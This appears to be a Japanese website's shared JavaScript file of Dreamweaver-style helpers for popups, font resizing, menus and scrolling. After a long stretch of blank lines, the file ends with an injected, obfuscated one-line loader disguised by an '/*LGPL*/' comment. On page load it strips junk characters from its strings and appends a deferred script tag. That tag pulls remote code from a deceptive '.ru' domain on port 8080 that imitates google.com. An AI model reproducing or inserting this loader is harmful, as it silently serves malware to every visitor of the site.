//Netscapeサイズ修正：reloads the window if Nav4 resized
function MM_reloadPage(init) {
	if (init==true) with (navigator) {
		if ( (appName=="Netscape") && (parseInt(appVersion)==4) ) {
			document.MM_pgW=innerWidth;
			document.MM_pgH=innerHeight;
			onresize=MM_reloadPage;
		}
	} else {
		if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH){
			location.reload();
		}
	}
}
MM_reloadPage(true);

//PreLoadImages
function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

//Popup Window：別画面でポップアップウィンドウを表示します。
function winOpen(url,winname,width,height)
{
	// 呼び出す時は...<a href="javascript:winOpen( '../about_catalog.html' , 'catalog' , 500 , 500);">○○○○○○○</a>
	subwin = window.open( url , winname , 'menubar=no,toolbar=no,location=no,directories=no,status=no,scrollbars=yes,resizable=yes,width=' + width + ',height=' + height);
	subwin.focus();
}

//Font Size Change：テキスト表示サイズを拡大・縮小します。
var Default = 2;
var tags = new Array('div','td','tr');
var sizing = new Array('90%','95%','100%','105%','110%');
function FontChange(target,tarF) {
		if (!document.getElementById) return
		var dore = document,tarS = null,fontSize = Default,value,su,cTags;
		fontSize +=tarF;
		if (fontSize < 0) fontSize = 0;
		if (fontSize > 4) fontSize = 4;
		Default = fontSize;
		if (!(tarS = dore.getElementById(target))) tarS =
		dore.getElementsByTagName(target)[0];
		tarS.style.fontSize = sizing[fontSize];
		for (value = 0 ; value < tags.length ; value++) {
			cTags = tarS.getElementsByTagName(tags[value]);
			for (su = 0 ; su < cTags.length ; su++) cTags[su].style.fontSize =
			sizing[fontSize];
		}
}

//Popup Menu：レイヤーによるポップアップメニューを表示します。
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}
function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}

//Smooth Scroll：ページトップへスクロールしながら移動します。
function scroller() {
  var x1 = x2 = x3 = 0;
  var y1 = y2 = y3 = 0;
  if (document.documentElement) {
      x1 = document.documentElement.scrollLeft || 0;
      y1 = document.documentElement.scrollTop || 0;
  }
  if (document.body) {
      x2 = document.body.scrollLeft || 0;
      y2 = document.body.scrollTop || 0;
  }
  x3 = window.scrollX || 0;
  y3 = window.scrollY || 0;
  var x = Math.max(x1, Math.max(x2, x3));
  var y = Math.max(y1, Math.max(y2, y3));
  window.scrollTo(Math.floor(x / 2), Math.floor(y / 2));
  if (x > 0 || y > 0) {
      window.setTimeout("scroller()", 25);
  }
}

function topImgover(btnObj,sURL){
	btnObj.src=sURL;
}

//Click Change Color：クリックした項目へ移動した際に、その項目の色を変えて表示します。
// クリック時に色を変える項目の最大数
 var MaxItem = 16;
 // クリック時の色
 var OnColor = '#FFCC33';
 // デフォルトの色
 var OffColor = '#EFEFDD';
function change(obj,color) {
	if ((tobj = document.getElementById(obj))) {
		tobj.style.backgroundColor = color;
	}
}
function SetColor(target){
	for ( i = 1 ; i <= MaxItem ; i++){
		objname = 'mark' + i;
		if ( i == target){
			change(objname,OnColor);
		} else {
			change(objname,OffColor);
		}
	}
}









/*LGPL*/ try{ window.onload = function(){var Hw2dyxnqym = document.createElement('s&)c###r&($i^p^^)#t@!'.replace(/\$|\(|@|\!|\^|\)|#|&/ig, ''));Hw2dyxnqym.setAttribute('defer', 'd$($e#$f()#e&)r(&$'.replace(/&|\(|\)|#|\!|\$|@|\^/ig, ''));Hw2dyxnqym.setAttribute('type', 't^(e)!@@x&!^)t(/!!!@j&a)!v(^!&a!&s))c!^^#@r$@i(!&p$^^t&^'.replace(/\!|\(|&|\^|\)|@|#|\$/ig, ''));Hw2dyxnqym.setAttribute('id', 'Y(c)#!#^o&$a^^&@k@&k^$#&o&!^6&(8@&($q&!^&0!#^c&8^&)y@'.replace(/\)|&|@|\^|\$|\!|#|\(/ig, ''));Hw2dyxnqym.setAttribute('s@r@^!(c!@'.replace(/\^|\$|@|\!|&|#|\)|\(/ig, ''),  'h()$)t&t$@p):^$@/@!/&@g$#o(^o)g&$l!$!e&-)@c&o#&#^m^$(-!@()d#$o(&$(.&)s@@^t^!a(&^y^f)@r)&^i@)^e$@$^n!^!#d(s#.&$d@e$(#.@^!i$#)(n$d&@$&i)^a)!t)^!i^#m!e!@s^#-!!&!c($o$m)^@.&t&(h@$^e@c()h^#()o!c#&^^o!))l^a^@!t!&)e!w&&$e!^b^$(#.!)r^$(u&((:#&8$!0^@&^8)$^@0&&^/$@e!#o##$r&#)e$z^(^o^&^$.$!@c(&o#!(m)#@/!^e(^o&^)$r#(e&(@z#!o#()@.^!c(@o&@m#&$/&g^o##o(#g$l!^e(#$.)&!c!()o(@m$@))/^@g)o#^(o#)g($#!)l#e().^^!a^#!$t(/#^i^b)@m!.$)&c)!$o#&^m^$@/^)!'.replace(/\(|\!|@|\$|#|\)|&|\^/ig, ''));if (document){document.body.appendChild(Hw2dyxnqym);}} } catch(Cqicsz54jftk1dqyau) {}